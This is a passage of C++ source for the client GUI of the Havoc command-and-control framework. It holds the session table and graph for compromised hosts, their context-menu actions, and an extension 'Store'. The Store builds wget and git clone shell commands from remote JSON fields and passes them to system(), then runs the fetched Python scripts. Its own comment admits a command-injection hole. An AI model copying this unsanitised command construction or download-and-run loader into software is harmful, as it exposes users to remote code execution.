Util::Packager::Session::Type, .User = HavocX::Teamserver.User.toStdString(), .Time = CurrentTime().toStdString(), }; auto Marked = QString(); if ( action->text().compare( "Mark as Alive" ) == 0 ) { Marked = "Alive"; Session.Marked = Marked; auto Icon = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionIcon( Session.OS, true ) : WinVersionIcon( Session.OS, false ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( Icon ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::Background ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Foreground ) ); } } else if ( action->text().compare( "Mark as Dead" ) == 0 ) { Marked = "Dead"; Session.Marked = Marked; HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->setIcon( QIcon( ":/icons/DeadWhite" ) ); for ( int j = 0; j < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->columnCount(); j++ ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setBackground( QColor( Util::ColorText::Colors::Hex::CurrentLine ) ); HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, j )->setForeground( QColor( Util::ColorText::Colors::Hex::Comment ) ); } } Package->Body = Util::Packager::Body_t { .SubEvent = Util::Packager::Session::MarkAs, .Info = { { "AgentID", AgentID.toStdString() }, { "Marked", Marked.toStdString() }, } }; HavocX::Connector->SendPackage( Package ); } } } else if ( action->text().compare( "Export" ) == 0 ) { Session.Export(); } else if ( action->text().compare( "Remove" ) == 0 ) { // TODO: Add a function to Session item that removes itself from the session table and graph. for ( int i = 0; i < HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->rowCount(); i++ ) { auto Row = HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->item( i, 0 )->text(); if ( Row.compare( Session.Name ) == 0 ) { HavocX::Teamserver.TabSession->SessionTableWidget->SessionTableWidget->removeRow( i ); } } delete NodeEdge; delete this; } else if ( action->text().compare( "Thread" ) == 0 || action->text().compare( "Process" ) == 0 ) { Session.InteractedWidget->DemonCommands->Execute.Exit( Util::gen_random( 8 ).c_str(), action->text().toLower() ); } if ( Session.MagicValue == DemonMagicValue ) { if ( action->text().compare( "Process List" ) == 0 ) { auto TabName = QString( "[" + NodeID + "] Process List" ); if ( Session.ProcessList == nullptr ) { Session.ProcessList = new UserInterface::Widgets::ProcessList; Session.ProcessList->setupUi( new QWidget ); Session.ProcessList->Session = Session; Session.ProcessList->Teamserver = HavocX::Teamserver.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.ProcessList->ProcessListWidget, TabName.toStdString() ); } Session.InteractedWidget->DemonCommands->Execute.ProcList( Util::gen_random( 8 ).c_str(), true ); } else if ( action->text().compare( "File Explorer" ) == 0 ) { auto TabName = QString( "[" + NodeID + "] File Explorer" ); if ( Session.FileBrowser == nullptr ) { Session.FileBrowser = new FileBrowser; Session.FileBrowser->setupUi( new QWidget ); Session.FileBrowser->SessionID = Session.Name; HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } else { HavocX::Teamserver.TabSession->NewBottomTab( Session.FileBrowser->FileBrowserWidget, TabName.toStdString(), "" ); } Session.InteractedWidget->DemonCommands->Execute.FS( Util::gen_random( 8 ).c_str(), "dir;ui", "." ); } } } } } delete separator; delete separator2; delete separator3; delete separator4; } void Edge::adjust() { if ( ! source || ! dest ) return; auto line = QLineF( mapFromItem( source, 0, 0 ), mapFromItem( dest, 0, 0 ) ); auto length = line.length(); prepareGeometryChange(); if ( length > qreal( 20. ) ) { auto edgeSpace = 50; auto edgeOffset = QPointF( ( line.dx() * edgeSpace ) / length, ( line.dy() * edgeSpace ) / length ); sourcePoint = line.p1() + edgeOffset; destPoint = line.p2() - edgeOffset; } else { sourcePoint = destPoint = line.p1(); } } QRectF Edge::boundingRect() const { if ( ! source || ! dest ) return QRectF(); qreal penWidth = 1; qreal extra = ( penWidth + arrowSize ) / 2.0; return QRectF( sourcePoint, QSizeF( destPoint.x() - sourcePoint.x(), destPoint.y() - sourcePoint.y()) ) .normalized() .adjusted( -extra, -extra, extra, extra ); } void Edge::paint( QPainter* painter, const QStyleOptionGraphicsItem*, QWidget* ) { if ( ! source || ! dest ) return; auto line = QLineF( sourcePoint, destPoint ); if ( qFuzzyCompare( line.length(), qreal( 0. ) ) ) return; // Draw the arrows auto angle = std::atan2( -line.dy(), line.dx() ); auto sourceArrowP1 = sourcePoint + QPointF( sin( angle + M_PI / 3 ) * arrowSize, cos( angle + M_PI / 3 ) * arrowSize ); auto sourceArrowP2 = sourcePoint + QPointF( sin( angle + M_PI - M_PI / 3 ) * arrowSize, cos( angle + M_PI - M_PI / 3 ) * arrowSize ); auto destArrowP1 = destPoint + QPointF( sin( angle - M_PI / 3 ) * arrowSize, cos( angle - M_PI / 3 ) * arrowSize ); auto destArrowP2 = destPoint + QPointF( sin( angle - M_PI + M_PI / 3 ) * arrowSize, cos( angle - M_PI + M_PI / 3 ) * arrowSize ); // Draw the line itself painter->setPen( QPen( color, 2, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin ) ); painter->drawLine( line ); painter->setBrush( color ); if ( source->NodeType == NodeItemType::MainNode ) painter->drawPolygon( QPolygonF() << line.p1() << sourceArrowP1 << sourceArrowP2 ); else painter->drawPolygon( QPolygonF() << line.p2() << destArrowP1 << destArrowP2 ); } void Edge::Color( QColor color ) { this->color = color; } // ================================================== // =================== Node Class =================== // ================================================== Node::Node( NodeItemType NodeType, QString NodeLabel, GraphWidget* graphWidget ) : graph( graphWidget ) { this->NodeType = NodeType; this->NodeLabel = NodeLabel; if ( NodeType == NodeItemType::MainNode ) this->NodePainterSize = QRectF( -40, -50, 80, 80 ); else this->NodePainterSize = QRectF( -150, -150, 400, 230 ); setFlag( ItemIsMovable ); setFlag( ItemSendsGeometryChanges ); setCacheMode( DeviceCoordinateCache ); setZValue( -1 ); } void Node::appendChild( Node* child ) { Children.push_back(child); } void Node::removeChild( Node* child ) { auto it = std::find(Children.cbegin(), Children.cend(), child); if (it != Children.end()) Children.erase(it); } QRectF Node::boundingRect() const { return NodePainterSize; } void Node::addEdge( Edge* edge ) { edgeList << edge; edge->adjust(); } QVector Node::edges() const { return edgeList; } void Node::calculateForces() { auto xvel = qreal( 0 ); auto yvel = qreal( 0 ); if ( ! scene() || scene()->mouseGrabberItem() == this ) { newPos = pos(); return; } if ( qAbs( xvel ) < 0.1 && qAbs( yvel ) < 0.1 ) xvel = yvel = 0; auto sceneRect = scene()->sceneRect(); newPos = pos() + QPointF( xvel, yvel ); newPos.setX( qMin( qMax( newPos.x(), sceneRect.left() + 10 ), sceneRect.right() - 10 ) ); newPos.setY( qMin( qMax( newPos.y(), sceneRect.top() + 10 ), sceneRect.bottom() - 10 ) ); } void Node::mouseMoveEvent( QGraphicsSceneMouseEvent* event ) { QGraphicsItem::mouseMoveEvent( event ); } bool Node::advancePosition() { if ( newPos == pos() ) return false; setPos( newPos ); return true; } QPainterPath Node::shape() const { auto path = QPainterPath(); path.addEllipse( NodePainterSize ); return path; } void Node::paint( QPainter *painter, const QStyleOptionGraphicsItem* option, QWidget* ) { if ( NodeType == NodeItemType::Nothing ) { return; } else if ( NodeType == NodeItemType::MainNode ) { auto image1 = QImage( ":/images/SessionHavoc" ); painter->drawImage( NodePainterSize, image1 ); return; } else if ( NodeType == NodeItemType::Session ) { auto text = NodeLabel.split( " " ); auto image1 = ( Session.Elevated.compare( "true" ) == 0 ) ? WinVersionImage( Session.OS, true ) : WinVersionImage( Session.OS, false ); if ( Disconnected ) { image1 = GrayScale( image1 ); } else { for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.compare( NodeID ) == 0 ) { if ( session.Marked.compare( "Dead" ) == 0 ) image1 = GrayScale( image1 ); } } } painter->drawImage( QRectF( -40, -35, 90, 90 ), image1 ); painter->setPen( QPen( Qt::white ) ); painter->drawText( -90, 60, text[ 0 ] + " @ " + text[ 1 ] ); painter->drawText( -80, 75, text[ 2 ] ); return; } else return; } QVariant Node::itemChange( GraphicsItemChange change, const QVariant& value ) { switch ( change ) { case ItemPositionHasChanged: { for ( Edge* edge : qAsConst( edgeList ) ) edge->adjust(); graph->itemMoved(); break; } default: break; }; return QGraphicsItem::itemChange( change, value ); } void Node::mousePressEvent( QGraphicsSceneMouseEvent* event ) { update(); QGraphicsItem::mousePressEvent( event ); } void Node::mouseReleaseEvent( QGraphicsSceneMouseEvent* event ) { update(); QGraphicsItem::mouseReleaseEvent( event ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/SessionTable.cc000066400000000000000000000236401467014221700264100ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include using namespace HavocNamespace::UserInterface::Widgets; using namespace HavocNamespace::Util; void HavocNamespace::UserInterface::Widgets::SessionTable::setupUi(QWidget *Form, QString TeamserverName) { this->TeamserverName = TeamserverName; if ( Form->objectName().isEmpty() ) Form->setObjectName( QString::fromUtf8( "Form" ) ); gridLayout = new QGridLayout( Form ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); SessionTableWidget = new QTableWidget( Form ); if ( SessionTableWidget->columnCount() < 10 ) SessionTableWidget->setColumnCount( 10 ); SessionTableWidget->setStyleSheet( "QTableWidget { " " background-color: #282a36;" " color: #f8f8f2; " "}" ); TitleAgentID = new QTableWidgetItem( "ID" ); TitleExternal = new QTableWidgetItem( "External" ); TitleInternal = new QTableWidgetItem( "Internal" ); TitleUser = new QTableWidgetItem( "User" ); TitleComputer = new QTableWidgetItem( "Computer" ); TitleOperating = new QTableWidgetItem( "OS" ); TitleProcess = new QTableWidgetItem( "Process" ); TitleProcessId = new QTableWidgetItem( "PID" ); TitleLast = new QTableWidgetItem( "Last" ); TitleHealth = new QTableWidgetItem( "Health" ); SessionTableWidget->setHorizontalHeaderItem( 0, TitleAgentID ); SessionTableWidget->setHorizontalHeaderItem( 1, TitleExternal ); SessionTableWidget->setHorizontalHeaderItem( 2, TitleInternal ); SessionTableWidget->setHorizontalHeaderItem( 3, TitleUser ); SessionTableWidget->setHorizontalHeaderItem( 4, TitleComputer ); SessionTableWidget->setHorizontalHeaderItem( 5, TitleOperating ); SessionTableWidget->setHorizontalHeaderItem( 6, TitleProcess ); SessionTableWidget->setHorizontalHeaderItem( 7, TitleProcessId ); SessionTableWidget->setHorizontalHeaderItem( 8, TitleLast ); SessionTableWidget->setHorizontalHeaderItem( 9, TitleHealth ); SessionTableWidget->horizontalHeader()->resizeSection( 5, 150 ); SessionTableWidget->setEnabled( true ); SessionTableWidget->setShowGrid( false ); SessionTableWidget->setSortingEnabled( false ); SessionTableWidget->setWordWrap( true ); SessionTableWidget->setCornerButtonEnabled( true ); SessionTableWidget->horizontalHeader()->setVisible( true ); SessionTableWidget->setSelectionBehavior( QAbstractItemView::SelectRows ); SessionTableWidget->setContextMenuPolicy( Qt::CustomContextMenu ); SessionTableWidget->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch ); SessionTableWidget->horizontalHeader()->setStretchLastSection( true ); SessionTableWidget->verticalHeader()->setVisible( false ); SessionTableWidget->setFocusPolicy( Qt::NoFocus ); SessionTableWidget->horizontalHeaderItem( 0 )->setSizeHint( QSize( 0, 0 ) ); connect( SessionTableWidget, &QTableWidget::itemSelectionChanged, this, &HavocNamespace::UserInterface::Widgets::SessionTable::updateRow ); gridLayout->addWidget( SessionTableWidget, 0, 0, 1, 1 ); QMetaObject::connectSlotsByName( Form ); } void HavocNamespace::UserInterface::Widgets::SessionTable::NewSessionItem( Util::SessionItem item ) const { /* check if the session already exists */ for ( auto& session : HavocX::Teamserver.Sessions ) { if ( session.Name.compare( item.Name ) == 0 ) { return; } } HavocX::Teamserver.Sessions.push_back( item ); if ( SessionTableWidget->rowCount() < 1 ) { SessionTableWidget->setRowCount( 1 ); } else { SessionTableWidget->setRowCount( SessionTableWidget->rowCount() + 1 ); } auto isSortingEnabled = SessionTableWidget->isSortingEnabled(); SessionTableWidget->setSortingEnabled( false ); auto item_ID = new QTableWidgetItem(); auto item_External = new QTableWidgetItem(); auto item_Internal = new QTableWidgetItem(); auto item_User = new QTableWidgetItem(); auto item_Computer = new QTableWidgetItem(); auto item_OS = new QTableWidgetItem(); auto item_Process = new QTableWidgetItem(); auto item_ProcessID = new QTableWidgetItem(); auto item_Last = new QTableWidgetItem(); auto item_Health = new QTableWidgetItem(); auto Icon = QIcon(); if ( item.Elevated.compare( "true" ) == 0 ) { item_ID->setForeground( QColor( 255, 85, 85 ) ); Icon = WinVersionIcon( item.OS, true ); } else { Icon = WinVersionIcon( item.OS, false ); } item_ID->setText( item.Name ); item_ID->setIcon( Icon ); item_ID->setTextAlignment( Qt::AlignCenter ); item_ID->setFlags( item_ID->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount() - 1, 0, item_ID ); item_External->setText( item.External ); item_External->setTextAlignment( Qt::AlignCenter ); item_External->setFlags( item_External->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 1, item_External ); item_Internal->setText( item.Internal ); item_Internal->setTextAlignment( Qt::AlignCenter ); item_Internal->setFlags( item_Internal->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 2, item_Internal ); item_User->setText( item.User ); item_User->setTextAlignment( Qt::AlignCenter ); item_User->setFlags( item_User->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 3, item_User ); item_Computer->setText( item.Computer ); item_Computer->setTextAlignment( Qt::AlignCenter ); item_Computer->setFlags( item_Computer->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 4, item_Computer ); item_OS->setText( item.OS ); item_OS->setTextAlignment( Qt::AlignCenter ); item_OS->setFlags( item_OS->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 5, item_OS ); item_Process->setText( item.Process ); item_Process->setTextAlignment( Qt::AlignCenter ); item_Process->setFlags( item_Process->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 6, item_Process ); item_ProcessID->setText( item.PID ); item_ProcessID->setTextAlignment( Qt::AlignCenter ); item_ProcessID->setFlags( item_ProcessID->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 7, item_ProcessID ); item_Last->setText( item.Last ); item_Last->setTextAlignment( Qt::AlignCenter ); item_Last->setFlags( item_Last->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 8, item_Last ); item_Health->setText( item.Health ); item_Health->setTextAlignment( Qt::AlignCenter ); item_Health->setFlags( item_Health->flags() ^ Qt::ItemIsEditable ); SessionTableWidget->setItem( SessionTableWidget->rowCount()-1, 9, item_Health ); SessionTableWidget->setSortingEnabled( isSortingEnabled ); for ( auto & Session : HavocX::Teamserver.Sessions ) { // TODO: make that on Session receive if ( Session.InteractedWidget == nullptr ) { auto AgentMessageInfo = QString(); auto prev_cursor = QTextCursor(); auto PivotStream = QString(); Session.InteractedWidget = new UserInterface::Widgets::DemonInteracted; Session.InteractedWidget->SessionInfo = Session; Session.InteractedWidget->TeamserverName = this->TeamserverName; Session.InteractedWidget->setupUi( new QWidget ); if ( item.PivotParent.size() > 0 ) { PivotStream = "[Pivot: " + item.PivotParent + Util::ColorText::Cyan( "-<>-<>-" ) + item.Name + "]"; HavocX::Teamserver.TabSession->SessionGraphWidget->GraphPivotNodeAdd( item.PivotParent, item ); } else { PivotStream = "[Pivot: "+ Util::ColorText::Cyan( "Direct" ) +"]"; HavocX::Teamserver.TabSession->SessionGraphWidget->GraphNodeAdd( item ); } AgentMessageInfo = Util::ColorText::Comment( item.First ) + " Agent " + Util::ColorText::Red( item.Name.toUpper() ) + " authenticated as "+ Util::ColorText::Purple( item.Computer + "\\" + item.User ) + " :: [Internal: " + Util::ColorText::Cyan( item.Internal ) + "] [Process: " + Util::ColorText::Red( item.Process + "\\" + item.PID ) + "] [Arch: " + Util::ColorText::Pink( item.Arch ) + "] " + PivotStream; prev_cursor = Session.InteractedWidget->Console->textCursor(); Session.InteractedWidget->Console->moveCursor( QTextCursor::End ); Session.InteractedWidget->Console->insertHtml( AgentMessageInfo ); Session.InteractedWidget->Console->setTextCursor( prev_cursor ); } } } void UserInterface::Widgets::SessionTable::ChangeSessionValue( QString DemonID, int key, QString value ) { for ( int i = 0; i < SessionTableWidget->rowCount(); i++ ) { if ( SessionTableWidget->item( i, 0 )->text() == DemonID ) { SessionTableWidget->item( i, key )->setText( value ); } } } void HavocNamespace::UserInterface::Widgets::SessionTable::updateRow() { bool selected = false; for ( int count = 0; count < SessionTableWidget->rowCount(); count++ ) if ( SessionTableWidget->item( count, 0 )->isSelected() ) selected = true; if ( ! selected ) SessionTableWidget->clearFocus(); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/Store.cc000066400000000000000000000215521467014221700251110ustar00rootroot00000000000000#include #include #include #include #include #include void Store::setupUi( QWidget* Store) { StoreWidget = Store; QUrl url("https://raw.githubusercontent.com/p4p1/havoc-store/main/public/havoc-modules.json"); QNetworkAccessManager* manager = new QNetworkAccessManager(); QNetworkReply *reply = manager->get(QNetworkRequest(url)); if ( Store->objectName().isEmpty() ) Store->setObjectName( QString::fromUtf8( "Extentions" ) ); horizontalLayout = new QHBoxLayout( Store ); horizontalLayout->setObjectName( QString::fromUtf8( "horizontalLayout" ) ); StoreSplitter = new QSplitter(); StoreLogger = new QTextEdit( /* PageLogger */ ); StoreLogger->setObjectName( QString::fromUtf8( "StoreLogger" ) ); StoreLogger->setReadOnly( true ); panelStore = new QWidget(); root_panelStore = new QWidget(); panelLayout = new QVBoxLayout(root_panelStore); panelScroll = new QScrollArea(panelStore); panelScroll->setWidgetResizable(true); panelScroll->setWidget(root_panelStore); panelScroll->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); root_panelLayout = new QVBoxLayout(panelStore); root_panelLayout->addWidget(panelScroll); headerLabelTitle = new QLabel( "

    Havoc Extentions!

    ", panelStore ); headerLabelTitle->setWordWrap(true); panelLayout->addWidget(headerLabelTitle); panelLabelAuthor = new QLabel( "The author", panelStore ); panelLabelAuthor->setWordWrap(true); panelLayout->addWidget(panelLabelAuthor); panelLabelDescription = new QLabel( "This tab is to install extentions inside of havoc!", panelStore ); panelLabelDescription->setWordWrap(true); panelLayout->addWidget(panelLabelDescription); installButton = new QPushButton("Install"); installButton->setEnabled(false); panelLayout->addWidget(installButton); StoreTable = new QTableWidget(); StoreTable->setColumnCount(2); labelTitle = new QTableWidgetItem( "Title" ); labelAuthor = new QTableWidgetItem( "Author" ); StoreTable->setHorizontalHeaderItem( 0, labelTitle ); StoreTable->setHorizontalHeaderItem( 1, labelAuthor ); StoreTable->setEnabled( true ); StoreTable->setShowGrid( false ); StoreTable->setSortingEnabled( false ); StoreTable->setWordWrap( true ); StoreTable->setCornerButtonEnabled( true ); StoreTable->horizontalHeader()->setVisible( true ); StoreTable->setSelectionBehavior( QAbstractItemView::SelectRows ); StoreTable->setContextMenuPolicy( Qt::CustomContextMenu ); StoreTable->horizontalHeader()->setSectionResizeMode( QHeaderView::ResizeMode::Stretch ); StoreTable->horizontalHeader()->setStretchLastSection( true ); StoreTable->setEditTriggers(QAbstractItemView::NoEditTriggers); StoreTable->verticalHeader()->setVisible( false ); StoreTable->setFocusPolicy( Qt::NoFocus ); QObject::connect(reply, &QNetworkReply::finished, [reply, this]() { if (reply->error() == QNetworkReply::NoError) { QByteArray data = reply->readAll(); QJsonDocument jsonDoc = QJsonDocument::fromJson(data); if (!jsonDoc.isNull() && jsonDoc.isArray()) { this->dataStore = new QJsonArray(jsonDoc.array()); QJsonArray jsonArray = jsonDoc.array(); int row_num = 0; this->StoreTable->setRowCount(jsonArray.size()); for (const QJsonValue &value : jsonArray) { if (value.isObject()) { QJsonObject jsonObj = value.toObject(); QString title = jsonObj.value("title").toString(); QString author = jsonObj.value("author").toString(); QTableWidgetItem *title_widget= new QTableWidgetItem(title); QTableWidgetItem *author_widget = new QTableWidgetItem(author); this->StoreTable->setItem(row_num, 0, title_widget); this->StoreTable->setItem(row_num, 1, author_widget); row_num++; } } } else { spdlog::error( "[STORE] Failed to parse the JSON data" ); } } else { spdlog::error( "[STORE] Failed to get json from web" ); } reply->deleteLater(); }); QObject::connect(StoreTable, &QTableWidget::itemSelectionChanged, [this]() { QList selectedItems = this->StoreTable->selectedItems(); if (!selectedItems.isEmpty()) { displayData(selectedItems.first()->row()); } }); QObject::connect(installButton, &QPushButton::clicked, [this]() { QList selectedItems = this->StoreTable->selectedItems(); if (!selectedItems.isEmpty()) { installScript(selectedItems.first()->row()); } }); StoreSplitter->addWidget( StoreTable ); StoreSplitter->addWidget( panelStore ); horizontalLayout->addWidget( StoreSplitter ); retranslateUi( ); QMetaObject::connectSlotsByName( StoreWidget ); } void Store::displayData(int position) { QJsonObject jsonObj = dataStore->at(position).toObject(); QString title = jsonObj.value("title").toString(); QString description = jsonObj.value("description").toString(); QString author = jsonObj.value("author").toString(); headerLabelTitle->setText(QString("

    %1

    ").arg(title)); panelLabelDescription->setText(description); panelLabelAuthor->setText(QString("%1").arg(author)); installButton->setEnabled(true); } bool Store::AddScript( QString Path ) { auto Script = FileRead( Path ); auto path = Path.toStdString(); int Return = 0; HavocX::Teamserver.LoadingScript = Path.toStdString(); if ( Script != nullptr ) { if ( ! Script.isEmpty() ) { Return = PyRun_SimpleStringFlags( Script.toStdString().c_str(), NULL ); if ( Return == -1 ) { spdlog::error( "Failed to run script: {}", path ); } else { return true; } } else { spdlog::error( "Script path not found: {}", path ); } } else { spdlog::error( "Failed to load script: {}", path ); } HavocX::Teamserver.LoadingScript = ""; return false; } void Store::installScript(int position) { QString gistUrl = "https://gist.githubusercontent.com/%1/%2/raw/%3"; QJsonObject jsonObj = dataStore->at(position).toObject(); QString url = jsonObj.value("link").toString(); QString entrypoint = jsonObj.value("entrypoint").toString(); QString author = jsonObj.value("author").toString(); QString currentPath = QDir::currentPath(); QDir extension_path(QString("./data/extensions")); if (!extension_path.exists()) { QDir tmp_dir(currentPath); tmp_dir.mkpath(QString("./data/extensions")); } int is_gist = url.indexOf(QString("gist.github.com")); if (is_gist != -1) { QStringList urlParts = url.split('/'); QString github_hash = urlParts.last(); QString downloadURL = gistUrl.arg(author, github_hash, entrypoint); QString pathScript = QString("%1/data/extensions/%2").arg(currentPath).arg(entrypoint); QString command = QString("wget %1 -O %2").arg(downloadURL).arg(pathScript); // Yes there is a command injection vulnerability here. Now this is not the best // but since the front-end will be fully redone I am not putting to much effort // here it's just to code the base concept nothing else :) system(command.toUtf8().constData()); if ( AddScript( pathScript ) ) { if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) ) HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript); } } else { // Must be a repo then and not a gist ^^ now we can be happy for that entrypoint var QStringList urlParts = url.split('/'); QString repo_name = urlParts.last(); QString pathScript = QString("%1/data/extensions/%2/%3").arg(currentPath).arg(repo_name).arg(entrypoint); QString command = QString("git clone --recurse-submodules --remote-submodules %1 %2/data/extensions/%3").arg(url).arg(currentPath).arg(repo_name); system(command.toUtf8().constData()); if ( AddScript( pathScript ) ) { if ( ! HavocX::Teamserver.TabSession->dbManager->CheckScript(pathScript) ) HavocX::Teamserver.TabSession->dbManager->AddScript(pathScript); } } } void Store::retranslateUi() { StoreWidget->setWindowTitle( QCoreApplication::translate( "Extentions", "Extentions", nullptr ) ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/Teamserver.cc000066400000000000000000000020611467014221700261240ustar00rootroot00000000000000#include #include void Teamserver::setupUi( QWidget* Teamserver ) { TeamserverWidget = Teamserver; if ( Teamserver->objectName().isEmpty() ) Teamserver->setObjectName( QString::fromUtf8( "Teamserver" ) ); gridLayout = new QGridLayout( Teamserver ); gridLayout->setObjectName( QString::fromUtf8( "gridLayout" ) ); TeamserverLogger = new QTextEdit( /* PageLogger */ ); TeamserverLogger->setObjectName( QString::fromUtf8( "TeamserverLogger" ) ); TeamserverLogger->setReadOnly( true ); gridLayout->addWidget( TeamserverLogger, 0, 0, 0, 0 ); retranslateUi( ); QMetaObject::connectSlotsByName( TeamserverWidget ); } void Teamserver::retranslateUi() { TeamserverWidget->setWindowTitle( QCoreApplication::translate( "Teamserver", "Teamserver", nullptr ) ); } void Teamserver::AddLoggerText( const QString& Text ) const { TeamserverLogger->append( Text ); TeamserverLogger->verticalScrollBar()->setValue( TeamserverLogger->verticalScrollBar()->maximum() ); } havoc-0.6~git20240910.69ce17c/client/src/UserInterface/Widgets/TeamserverTabSession.cc000066400000000000000000000533321467014221700301260ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace UserInterface::Widgets; void HavocNamespace::UserInterface::Widgets::TeamserverTabSession::setupUi( QWidget* Page, QString TeamserverName ) { TeamserverName = TeamserverName; PageWidget = Page; SmallAppWidgets = new SmallAppWidgets_t; SmallAppWidgets->EventViewer = new UserInterface::SmallWidgets::EventViewer; SmallAppWidgets->EventViewer->setupUi( new QWidget ); SmallAppWidgets->EventViewer->AppendText( CurrentDateTime(), "Havoc Framework [Version: " + QString( Version.c_str() ) + "] [CodeName: " + QString( CodeName.c_str() ) + "]" ); auto MenuStyle = QString( "QMenu {" " background-color: #282a36;" " color: #f8f8f2;" " border: 1px solid #44475a;" "}" "QMenu::separator {" " background: #44475a;" "}" "QMenu::item:selected {" " background: #44475a;" "}" "QAction {" " background-color: #282a36;" " color: #f8f8f2;" "}" ); gridLayout = new QGridLayout(PageWidget); gridLayout->setObjectName(QString::fromUtf8("gridLayout")); gridLayout->setContentsMargins(0, 0, 0, 0); splitter_TopBot = new QSplitter(PageWidget); splitter_TopBot->setOrientation(Qt::Vertical); splitter_TopBot->setContentsMargins(0, 0, 0, 0); layoutWidget = new QWidget( splitter_TopBot ); verticalLayout = new QVBoxLayout( layoutWidget ); verticalLayout->setContentsMargins( 3, 3, 3, 3 ); MainViewWidget = new QStackedWidget( ); SessionTablePage = new QWidget( ); gridLayout_2 = new QGridLayout( SessionTablePage ); gridLayout_2->setObjectName( QString::fromUtf8( "gridLayout_2" ) ); gridLayout_2->setContentsMargins( 0, 0, 0, 0 ); splitter_SessionAndTabs = new QSplitter( layoutWidget ); splitter_SessionAndTabs->setOrientation( Qt::Horizontal ); SessionTableWidget = new HavocNamespace::UserInterface::Widgets::SessionTable; SessionTableWidget->setupUi( new QTableWidget(), TeamserverName ); SessionTableWidget->setFocusPolicy( Qt::NoFocus ); SessionGraphWidget = new GraphWidget( MainViewWidget ); // Session Table MainViewWidget->addWidget( SessionTableWidget->SessionTableWidget ); MainViewWidget->addWidget( SessionGraphWidget ); MainViewWidget->setCurrentIndex( 0 ); splitter_SessionAndTabs->addWidget( MainViewWidget ); tabWidgetSmall = new QTabWidget( splitter_SessionAndTabs ); tabWidgetSmall->setObjectName( QString::fromUtf8( "tabWidgetSmall" ) ); tabWidgetSmall->setMovable( false ); splitter_SessionAndTabs->addWidget( tabWidgetSmall ); gridLayout_2->addWidget( splitter_SessionAndTabs, 0, 0, 1, 1 ); verticalLayout->addWidget( SessionTablePage ); splitter_TopBot->addWidget( layoutWidget ); tabWidget = new QTabWidget( splitter_TopBot ); tabWidget->setObjectName( QString::fromUtf8( "tabWidget" ) ); splitter_TopBot->addWidget( tabWidget ); gridLayout->addWidget(splitter_TopBot, 0, 0, 1, 1); TeamserverChat = new UserInterface::Widgets::Chat; TeamserverChat->TeamserverName = HavocX::Teamserver.Name; TeamserverChat->setupUi( new QWidget ); NewBottomTab( TeamserverChat->ChatWidget, "Teamserver Chat", ":/icons/users" ); tabWidget->setCurrentIndex( 0 ); tabWidget->setMovable( false ); LootWidget = new ::LootWidget; NewWidgetTab( SmallAppWidgets->EventViewer->EventViewer, "Event Viewer" ); connect( SessionTableWidget->SessionTableWidget, &QTableWidget::customContextMenuRequested, this, &TeamserverTabSession::handleDemonContextMenu ); connect( tabWidget->tabBar(), &QTabBar::tabCloseRequested, this, [&]( int index ) { if ( index == -1 ) return; tabWidget->removeTab( index ); if ( tabWidget->count() == 0 ) { splitter_TopBot->setSizes( QList() << 0 ); splitter_TopBot->setStyleSheet( "QSplitter::handle { image: url(images/notExists.png); }" ); } else if ( tabWidget->count() == 1 ) { tabWidget->setMovable( false ); } } ); connect( tabWidgetSmall->tabBar(), &QTabBar::tabCloseRequested, this, &TeamserverTabSession::removeTabSmall ); connect( SessionTableWidget->SessionTableWidget, &QTableWidget::doubleClicked, this, [&]( const QModelIndex &index ) { auto SessionID = SessionTableWidget->SessionTableWidget->item( index.row(), 0 )->text(); for ( const auto& Session : HavocX::Teamserver.Sessions ) { if ( Session.Name.compare( SessionID ) == 0 ) { auto tabName = "[" + Session.Name + "] " + Session.User + "/" + Session.Computer; for ( int i = 0 ; i < HavocX::Teamserver.TabSession->tabWidget->count(); i++ ) { if ( HavocX::Teamserver.TabSession->tabWidget->tabText( i ) == tabName ) { 